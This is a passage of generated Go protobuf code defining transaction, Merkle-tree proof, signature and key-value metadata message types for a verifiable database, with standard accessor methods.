&file_schema_proto_msgTypes[25]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use EntryCount.ProtoReflect.Descriptor instead.\nfunc (*EntryCount) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{25}\n}\n\nfunc (x *EntryCount) GetCount() uint64 {\n\tif x != nil {\n\t\treturn x.Count\n\t}\n\treturn 0\n}\n\ntype Signature struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tPublicKey []byte `protobuf:\"bytes,1,opt,name=publicKey,proto3\" json:\"publicKey,omitempty\"`\n\tSignature []byte `protobuf:\"bytes,2,opt,name=signature,proto3\" json:\"signature,omitempty\"`\n}\n\nfunc (x *Signature) Reset() {\n\t*x = Signature{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[26]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Signature) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Signature) ProtoMessage() {}\n\nfunc (x *Signature) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[26]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Signature.ProtoReflect.Descriptor instead.\nfunc (*Signature) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{26}\n}\n\nfunc (x *Signature) GetPublicKey() []byte {\n\tif x != nil {\n\t\treturn x.PublicKey\n\t}\n\treturn nil\n}\n\nfunc (x *Signature) GetSignature() []byte {\n\tif x != nil {\n\t\treturn x.Signature\n\t}\n\treturn nil\n}\n\ntype TxHeader struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction ID\n\tId uint64 `protobuf:\"varint,1,opt,name=id,proto3\" json:\"id,omitempty\"`\n\t// State value (Accumulative Hash - Alh) of the previous transaction\n\tPrevAlh []byte `protobuf:\"bytes,2,opt,name=prevAlh,proto3\" json:\"prevAlh,omitempty\"`\n\t// Unix timestamp of the transaction (in seconds)\n\tTs int64 `protobuf:\"varint,3,opt,name=ts,proto3\" json:\"ts,omitempty\"`\n\t// Number of entries in a transaction\n\tNentries int32 `protobuf:\"varint,4,opt,name=nentries,proto3\" json:\"nentries,omitempty\"`\n\t// Entries Hash - cumulative hash of all entries in the transaction\n\tEH []byte `protobuf:\"bytes,5,opt,name=eH,proto3\" json:\"eH,omitempty\"`\n\t// Binary linking tree transaction ID\n\t// (ID of last transaction already in the main Merkle Tree)\n\tBlTxId uint64 `protobuf:\"varint,6,opt,name=blTxId,proto3\" json:\"blTxId,omitempty\"`\n\t// Binary linking tree root (Root hash of the Merkle Tree)\n\tBlRoot []byte `protobuf:\"bytes,7,opt,name=blRoot,proto3\" json:\"blRoot,omitempty\"`\n\t// Header version\n\tVersion int32 `protobuf:\"varint,8,opt,name=version,proto3\" json:\"version,omitempty\"`\n\t// Transaction metadata\n\tMetadata *TxMetadata `protobuf:\"bytes,9,opt,name=metadata,proto3\" json:\"metadata,omitempty\"`\n}\n\nfunc (x *TxHeader) Reset() {\n\t*x = TxHeader{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[27]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TxHeader) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TxHeader) ProtoMessage() {}\n\nfunc (x *TxHeader) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[27]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TxHeader.ProtoReflect.Descriptor instead.\nfunc (*TxHeader) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{27}\n}\n\nfunc (x *TxHeader) GetId() uint64 {\n\tif x != nil {\n\t\treturn x.Id\n\t}\n\treturn 0\n}\n\nfunc (x *TxHeader) GetPrevAlh() []byte {\n\tif x != nil {\n\t\treturn x.PrevAlh\n\t}\n\treturn nil\n}\n\nfunc (x *TxHeader) GetTs() int64 {\n\tif x != nil {\n\t\treturn x.Ts\n\t}\n\treturn 0\n}\n\nfunc (x *TxHeader) GetNentries() int32 {\n\tif x != nil {\n\t\treturn x.Nentries\n\t}\n\treturn 0\n}\n\nfunc (x *TxHeader) GetEH() []byte {\n\tif x != nil {\n\t\treturn x.EH\n\t}\n\treturn nil\n}\n\nfunc (x *TxHeader) GetBlTxId() uint64 {\n\tif x != nil {\n\t\treturn x.BlTxId\n\t}\n\treturn 0\n}\n\nfunc (x *TxHeader) GetBlRoot() []byte {\n\tif x != nil {\n\t\treturn x.BlRoot\n\t}\n\treturn nil\n}\n\nfunc (x *TxHeader) GetVersion() int32 {\n\tif x != nil {\n\t\treturn x.Version\n\t}\n\treturn 0\n}\n\nfunc (x *TxHeader) GetMetadata() *TxMetadata {\n\tif x != nil {\n\t\treturn x.Metadata\n\t}\n\treturn nil\n}\n\n// TxMetadata contains metadata set to whole transaction\ntype TxMetadata struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Entry expiration information\n\tTruncatedTxID uint64 `protobuf:\"varint,1,opt,name=truncatedTxID,proto3\" json:\"truncatedTxID,omitempty\"`\n\t// Extra data\n\tExtra []byte `protobuf:\"bytes,2,opt,name=extra,proto3\" json:\"extra,omitempty\"`\n}\n\nfunc (x *TxMetadata) Reset() {\n\t*x = TxMetadata{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[28]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TxMetadata) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TxMetadata) ProtoMessage() {}\n\nfunc (x *TxMetadata) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[28]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TxMetadata.ProtoReflect.Descriptor instead.\nfunc (*TxMetadata) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{28}\n}\n\nfunc (x *TxMetadata) GetTruncatedTxID() uint64 {\n\tif x != nil {\n\t\treturn x.TruncatedTxID\n\t}\n\treturn 0\n}\n\nfunc (x *TxMetadata) GetExtra() []byte {\n\tif x != nil {\n\t\treturn x.Extra\n\t}\n\treturn nil\n}\n\n// LinearProof contains the linear part of the proof (outside the main Merkle Tree)\ntype LinearProof struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Starting transaction of the proof\n\tSourceTxId uint64 `protobuf:\"varint,1,opt,name=sourceTxId,proto3\" json:\"sourceTxId,omitempty\"`\n\t// End transaction of the proof\n\tTargetTxId uint64 `protobuf:\"varint,2,opt,name=TargetTxId,proto3\" json:\"TargetTxId,omitempty\"`\n\t// List of terms (inner hashes of transaction entries)\n\tTerms [][]byte `protobuf:\"bytes,3,rep,name=terms,proto3\" json:\"terms,omitempty\"`\n}\n\nfunc (x *LinearProof) Reset() {\n\t*x = LinearProof{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[29]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *LinearProof) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*LinearProof) ProtoMessage() {}\n\nfunc (x *LinearProof) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[29]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use LinearProof.ProtoReflect.Descriptor instead.\nfunc (*LinearProof) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{29}\n}\n\nfunc (x *LinearProof) GetSourceTxId() uint64 {\n\tif x != nil {\n\t\treturn x.SourceTxId\n\t}\n\treturn 0\n}\n\nfunc (x *LinearProof) GetTargetTxId() uint64 {\n\tif x != nil {\n\t\treturn x.TargetTxId\n\t}\n\treturn 0\n}\n\nfunc (x *LinearProof) GetTerms() [][]byte {\n\tif x != nil {\n\t\treturn x.Terms\n\t}\n\treturn nil\n}\n\n// LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\n// and the new Merkle Tree\ntype LinearAdvanceProof struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// terms for the linear chain\n\tLinearProofTerms [][]byte `protobuf:\"bytes,1,rep,name=linearProofTerms,proto3\" json:\"linearProofTerms,omitempty\"`\n\t// inclusion proofs for steps on the linear chain\n\tInclusionProofs []*InclusionProof `protobuf:\"bytes,2,rep,name=inclusionProofs,proto3\" json:\"inclusionProofs,omitempty\"`\n}\n\nfunc (x *LinearAdvanceProof) Reset() {\n\t*x = LinearAdvanceProof{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[30]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *LinearAdvanceProof) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*LinearAdvanceProof) ProtoMessage() {}\n\nfunc (x *LinearAdvanceProof) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[30]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use LinearAdvanceProof.ProtoReflect.Descriptor instead.\nfunc (*LinearAdvanceProof) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{30}\n}\n\nfunc (x *LinearAdvanceProof) GetLinearProofTerms() [][]byte {\n\tif x != nil {\n\t\treturn x.LinearProofTerms\n\t}\n\treturn nil\n}\n\nfunc (x *LinearAdvanceProof) GetInclusionProofs() []*InclusionProof {\n\tif x != nil {\n\t\treturn x.InclusionProofs\n\t}\n\treturn nil\n}\n\n// DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs\ntype DualProof struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Header of the source (earlier) transaction\n\tSourceTxHeader *TxHeader `protobuf:\"bytes,1,opt,name=sourceTxHeader,proto3\" json:\"sourceTxHeader,omitempty\"`\n\t// Header of the target (latter) transaction\n\tTargetTxHeader *TxHeader `protobuf:\"bytes,2,opt,name=targetTxHeader,proto3\" json:\"targetTxHeader,omitempty\"`\n\t// Inclusion proof of the source transaction hash in the main Merkle Tree\n\tInclusionProof [][]byte `protobuf:\"bytes,3,rep,name=inclusionProof,proto3\" json:\"inclusionProof,omitempty\"`\n\t// Consistency proof between Merkle Trees in the source and target transactions\n\tConsistencyProof [][]byte `protobuf:\"bytes,4,rep,name=consistencyProof,proto3\" json:\"consistencyProof,omitempty\"`\n\t// Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree\n\tTargetBlTxAlh []byte `protobuf:\"bytes,5,opt,name=targetBlTxAlh,proto3\" json:\"targetBlTxAlh,omitempty\"`\n\t// Inclusion proof of the targetBlTxAlh in the target Merkle Tree\n\tLastInclusionProof [][]byte `protobuf:\"bytes,6,rep,name=lastInclusionProof,proto3\" json:\"lastInclusionProof,omitempty\"`\n\t// Linear proof starting from targetBlTxAlh to the final state value\n\tLinearProof *LinearProof `protobuf:\"bytes,7,opt,name=linearProof,proto3\" json:\"linearProof,omitempty\"`\n\t// Proof of consistency between some part of older linear chain and newer Merkle Tree\n\tLinearAdvanceProof *LinearAdvanceProof `protobuf:\"bytes,8,opt,name=LinearAdvanceProof,proto3\" json:\"LinearAdvanceProof,omitempty\"`\n}\n\nfunc (x *DualProof) Reset() {\n\t*x = DualProof{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[31]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DualProof) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DualProof) ProtoMessage() {}\n\nfunc (x *DualProof) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[31]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DualProof.ProtoReflect.Descriptor instead.\nfunc (*DualProof) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{31}\n}\n\nfunc (x *DualProof) GetSourceTxHeader() *TxHeader {\n\tif x != nil {\n\t\treturn x.SourceTxHeader\n\t}\n\treturn nil\n}\n\nfunc (x *DualProof) GetTargetTxHeader() *TxHeader {\n\tif x != nil {\n\t\treturn x.TargetTxHeader\n\t}\n\treturn nil\n}\n\nfunc (x *DualProof) GetInclusionProof() [][]byte {\n\tif x != nil {\n\t\treturn x.InclusionProof\n\t}\n\treturn nil\n}\n\nfunc (x *DualProof) GetConsistencyProof() [][]byte {\n\tif x != nil {\n\t\treturn x.ConsistencyProof\n\t}\n\treturn nil\n}\n\nfunc (x *DualProof) GetTargetBlTxAlh() []byte {\n\tif x != nil {\n\t\treturn x.TargetBlTxAlh\n\t}\n\treturn nil\n}\n\nfunc (x *DualProof) GetLastInclusionProof() [][]byte {\n\tif x != nil {\n\t\treturn x.LastInclusionProof\n\t}\n\treturn nil\n}\n\nfunc (x *DualProof) GetLinearProof() *LinearProof {\n\tif x != nil {\n\t\treturn x.LinearProof\n\t}\n\treturn nil\n}\n\nfunc (x *DualProof) GetLinearAdvanceProof() *LinearAdvanceProof {\n\tif x != nil {\n\t\treturn x.LinearAdvanceProof\n\t}\n\treturn nil\n}\n\n// DualProofV2 contains inclusion and consistency proofs\ntype DualProofV2 struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Header of the source (earlier) transaction\n\tSourceTxHeader *TxHeader `protobuf:\"bytes,1,opt,name=sourceTxHeader,proto3\" json:\"sourceTxHeader,omitempty\"`\n\t// Header of the target (latter) transaction\n\tTargetTxHeader *TxHeader `protobuf:\"bytes,2,opt,name=targetTxHeader,proto3\" json:\"targetTxHeader,omitempty\"`\n\t// Inclusion proof of the source transaction hash in the main Merkle Tree\n\tInclusionProof [][]byte `protobuf:\"bytes,3,rep,name=inclusionProof,proto3\" json:\"inclusionProof,omitempty\"`\n\t// Consistency proof between Merkle Trees in the source and target transactions\n\tConsistencyProof [][]byte `protobuf:\"bytes,4,rep,name=consistencyProof,proto3\" json:\"consistencyProof,omitempty\"`\n}\n\nfunc (x *DualProofV2) Reset() {\n\t*x = DualProofV2{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[32]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DualProofV2) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DualProofV2) ProtoMessage() {}\n\nfunc (x *DualProofV2) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[32]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DualProofV2.ProtoReflect.Descriptor instead.\nfunc (*DualProofV2) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{32}\n}\n\nfunc (x *DualProofV2) GetSourceTxHeader() *TxHeader {\n\tif x != nil {\n\t\treturn x.SourceTxHeader\n\t}\n\treturn nil\n}\n\nfunc (x *DualProofV2) GetTargetTxHeader() *TxHeader {\n\tif x != nil {\n\t\treturn x.TargetTxHeader\n\t}\n\treturn nil\n}\n\nfunc (x *DualProofV2) GetInclusionProof() [][]byte {\n\tif x != nil {\n\t\treturn x.InclusionProof\n\t}\n\treturn nil\n}\n\nfunc (x *DualProofV2) GetConsistencyProof() [][]byte {\n\tif x != nil {\n\t\treturn x.ConsistencyProof\n\t}\n\treturn nil\n}\n\ntype Tx struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction header\n\tHeader *TxHeader `protobuf:\"bytes,1,opt,name=header,proto3\" json:\"header,omitempty\"`\n\t// Raw entry values\n\tEntries []*TxEntry `protobuf:\"bytes,2,rep,name=entries,proto3\" json:\"entries,omitempty\"`\n\t// KV entries in the transaction (parsed)\n\tKvEntries []*Entry `protobuf:\"bytes,3,rep,name=kvEntries,proto3\" json:\"kvEntries,omitempty\"`\n\t// Sorted Set entries in the transaction (parsed)\n\tZEntries []*ZEntry `protobuf:\"bytes,4,rep,name=zEntries,proto3\" json:\"zEntries,omitempty\"`\n}\n\nfunc (x *Tx) Reset() {\n\t*x = Tx{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[33]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Tx) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Tx) ProtoMessage() {}\n\nfunc (x *Tx) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[33]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Tx.ProtoReflect.Descriptor instead.\nfunc (*Tx) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{33}\n}\n\nfunc (x *Tx) GetHeader() *TxHeader {\n\tif x != nil {\n\t\treturn x.Header\n\t}\n\treturn nil\n}\n\nfunc (x *Tx) GetEntries() []*TxEntry {\n\tif x != nil {\n\t\treturn x.Entries\n\t}\n\treturn nil\n}\n\nfunc (x *Tx) GetKvEntries() []*Entry {\n\tif x != nil {\n\t\treturn x.KvEntries\n\t}\n\treturn nil\n}\n\nfunc (x *Tx) GetZEntries() []*ZEntry {\n\tif x != nil {\n\t\treturn x.ZEntries\n\t}\n\treturn nil\n}\n\ntype TxEntry struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Raw key value (contains 1-byte prefix for kind of the key)\n\tKey []byte `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// Value hash\n\tHValue []byte `protobuf:\"bytes,2,opt,name=hValue,proto3\" json:\"hValue,omitempty\"`\n\t// Value length\n\tVLen int32 `protobuf:\"varint,3,opt,name=vLen,proto3\" json:\"vLen,omitempty\"`\n\t// Entry metadata\n\tMetadata *KVMetadata `protobuf:\"bytes,4,opt,name=metadata,proto3\" json:\"metadata,omitempty\"`\n\t// value, must be ignored when len(value) == 0 and vLen > 0.\n\t// Otherwise sha256(value) must be equal to hValue.\n\tValue []byte `protobuf:\"bytes,5,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *TxEntry) Reset() {\n\t*x = TxEntry{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[34]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TxEntry) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TxEntry) ProtoMessage() {}\n\nfunc (x *TxEntry) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[34]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TxEntry.ProtoReflect.Descriptor instead.\nfunc (*TxEntry) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{34}\n}\n\nfunc (x *TxEntry) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *TxEntry) GetHValue() []byte {\n\tif x != nil {\n\t\treturn x.HValue\n\t}\n\treturn nil\n}\n\nfunc (x *TxEntry) GetVLen() int32 {\n\tif x != nil {\n\t\treturn x.VLen\n\t}\n\treturn 0\n}\n\nfunc (x *TxEntry) GetMetadata() *KVMetadata {\n\tif x != nil {\n\t\treturn x.Metadata\n\t}\n\treturn nil\n}\n\nfunc (x *TxEntry) GetValue() []byte {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn nil\n}\n\ntype KVMetadata struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// True if this entry denotes a logical deletion\n\tDeleted bool `protobuf:\"varint,1,opt,name=deleted,proto3\" json:\"deleted,omitempty\"`\n\t// Entry expiration information\n\tExpiration *Expiration `protobuf:\"bytes,2,opt,name=expiration,proto3\" json:\"expiration,omitempty\"`\n\t// If set to true, this entry will not be indexed and will only be accessed through GetAt calls\n\tNonIndexable bool `protobuf:\"varint,3,opt,name=nonIndexable,proto3\" json:\"nonIndexable,omitempty\"`\n}\n\nfunc (x *KVMetadata) Reset() {\n\t*x = KVMetadata{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[35]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *KVMetadata) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*KVMetadata) ProtoMessage() {}\n\nfunc (x *KVMetadata) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[35]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use KVMetadata.ProtoReflect.Descriptor instead.\nfunc (*KVMetadata) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{35}\n}\n\nfunc (x *KVMetadata) GetDeleted() bool {\n\tif x != nil {\n\t\treturn x.Deleted\n\t}\n\treturn false\n}\n\nfunc (x *KVMetadata) GetExpiration() *Expiration {\n\tif x != nil {\n\t\treturn x.Expiration\n\t}\n\treturn nil\n}\n\nfunc (x *KVMetadata) GetNonIndexable() bool {\n\tif x != nil {\n\t\treturn x.NonIndexable\n\t}\n\treturn false\n}\n\ntype Expiration struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Entry expiration time (unix timestamp in seconds)\n\tExpiresAt int64 `protobuf:\"varint,1,opt,name=expiresAt,proto3\" json:\"expiresAt,omitempty\"`\n}\n\nfunc (x *Expiration) Reset() {\n\t*x = Expiration{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[36]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Expiration) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Expiration) ProtoMessage() {}\n\nfunc (x *Expiration) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[36]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Expiration.ProtoReflect.Descriptor instead.\nfunc (*Expiration) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{36}\n}\n\nfunc (x *Expiration) GetExpiresAt() int64 {\n\tif x != nil {\n\t\treturn x.ExpiresAt\n\t}\n\treturn 0\n}\n\ntype VerifiableTx struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction to verify\n\tTx *Tx `protobuf:\"bytes,1,opt,name=tx,proto3\" json:\"tx,omitempty\"`\n\t// Proof for the transaction\n\tDualProof *DualProof `protobuf:\"bytes,2,opt,name=dualProof,proto3\" json:\"dualProof,omitempty\"`\n\t// Signature for the new state value\n\tSignature *Signature `protobuf:\"bytes,3,opt,name=signature,proto3\" json:\"signature,omitempty\"`\n}\n\nfunc (x *VerifiableTx) Reset() {\n\t*x = VerifiableTx{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[37]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableTx) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableTx) ProtoMessage() {}\n\nfunc (x *VerifiableTx) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[37]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableTx.ProtoReflect.Descriptor instead.\nfunc (*VerifiableTx) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{37}\n}\n\nfunc (x *VerifiableTx) GetTx() *Tx {\n\tif x != nil {\n\t\treturn x.Tx\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableTx) GetDualProof() *DualProof {\n\tif x != nil {\n\t\treturn x.DualProof\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableTx) GetSignature() *Signature {\n\tif x != nil {\n\t\treturn x.Signature\n\t}\n\treturn nil\n}\n\ntype VerifiableTxV2 struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction to verify\n\tTx *Tx `protobuf:\"bytes,1,opt,name=tx,proto3\" json:\"tx,omitempty\"`\n\t// Proof for the transaction\n\tDualProof *DualProofV2 `protobuf:\"bytes,2,opt,name=dualProof,proto3\" json:\"dualProof,omitempty\"`\n\t// Signature for the new state value\n\tSignature *Signature `protobuf:\"bytes,3,opt,name=signature,proto3\" json:\"signature,omitempty\"`\n}\n\nfunc (x *VerifiableTxV2) Reset() {\n\t*x = VerifiableTxV2{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := 